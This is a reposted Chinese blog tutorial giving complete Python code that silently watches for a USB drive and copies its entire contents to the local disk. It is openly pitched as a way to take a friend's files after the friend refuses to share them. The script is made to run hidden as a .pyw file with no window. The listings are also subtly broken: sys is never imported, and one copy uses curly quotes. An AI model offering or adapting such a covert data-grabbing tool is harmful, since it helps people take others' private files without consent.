本文介绍: 当朋友U盘中的文件你想要,但他又不给你时,就用这个Python程序,特别简单基础,最后还有完整可直接复制代码……

当朋友U盘中的文件你想要,但他又不给你时,就用这个Python程序,特别简单基础,最后还有完整可直接复制代码……话不多说先上效果图

 

 

注:点击确定后窗口消失(记得把.py后缀该成.pyw),当指定盘符位置有U盘接入时,会自行在后台复制复制文件会在D盘中一个叫U盘的文件夹

代码剖析

                1.环境准备    Python3.10.2安装包    Python3.7.4 32位安装包    Python 3.7.2 64位安装包

                2.Python库准备    环境安装完成后打开cmd运行

           pip installuser pyautogui==0.9.50

                  等待下载完毕

                  3.代码编写

                  第一部分    导入模块

#python3
from datetime import datetime    #导入Python库(模块import time,sys,pyautogui,os,shutil    

                   什么是pyautogui?    以下内容来自异步社区电子书《Python编程快速上手 让繁琐工作自动化 第2版》电子书链接 

                    

                    

                  第二部分    获取复制盘符

盘符 = pyautogui.confirm("请选择盘符","","EFGHIJKLMNOPQRSTUVWXYZ")    #图形化界面获取盘符信息

                  第三部分    处理获取信息

盘符2 = 盘符    #处理信息以便后面命名文件夹
盘符 = 盘符+":\"    #处理信息,改为正确路径

                  第四部分    再次确定和设置保存位置

再次确认=pyautogui.confirm("确认选择?",盘符)
保存路径 = "D:\U盘"

                  第五部分    程序主干

if 再次确认 == "OK":    #判断是否确认
    while (True):    #重复执行
        if os.path.exists(盘符):    #检查所选盘符是否有U盘接入
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime("%Y-%m-%d %H-%M-%S-"+盘符2)))    #如果有接入,开始复制,将复制的文件放在D盘一个叫“U盘”的文件夹中,并在叫“U盘”的文件夹创建一个有着复制开始时间及盘符名字的文件break    #复制完成,退出循环
        else:
            time.sleep(10)    #如果没检测到,等待十秒,继续检测
sys.exit()    #如果再次确认为“否”,会跳转这里并结束程序  注:程序正常执行完成也会跳转这里

程序剖析结束 

记得把.py后缀该成.pyw(不然窗口不会消失)

完整代码

#Python3
import os
import time
from datetime import datetime
import shutil
import pyautogui
盘符 = pyautogui.confirm("请选择盘符","","EFGHIJKLMNOPQRSTUVWXYZ")
盘符2 = 盘符
盘符 = 盘符+":\"
再次确认=pyautogui.confirm("确认选择?",盘符)
保存路径 = "D:\U盘"
if 再次确认 == "OK":
    while (True):
        if os.path.exists(盘符):
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime("%Y-%m-%d %H-%M-%S-"+盘符2)))
            break
        else:
            time.sleep(10)
sys.exit() 

 注:记得把.py后缀该成.pyw(不然窗口不会消失)

#Python3
import os
import time
from datetime import datetime
import shutil
import pyautogui
盘符 = pyautogui.confirm(“请选择盘符”,””,”EFGHIJKLMNOPQRSTUVWXYZ”)
盘符2 = 盘符
盘符 = 盘符+”:\”
再次确认=pyautogui.confirm(“确认选择?”,盘符)
保存路径 = “D:\U盘”
if 再次确认 == “OK”:
    while (True):
        if os.path.exists(盘符):
            shutil.copytree(盘符,os.path.join(保存路径,datetime.now().strftime(“%Y-%m-%d %H-%M-%S-“+盘符2)))
            break
        else:
            time.sleep(10)
sys.exit() 

注:【再次提醒】记得把.py后缀该成.pyw(不然窗口不会消失)

                    

                    

                                                           

原文地址:https://blog.csdn.net/Pythonbccxz/article/details/126857177

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_14307.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注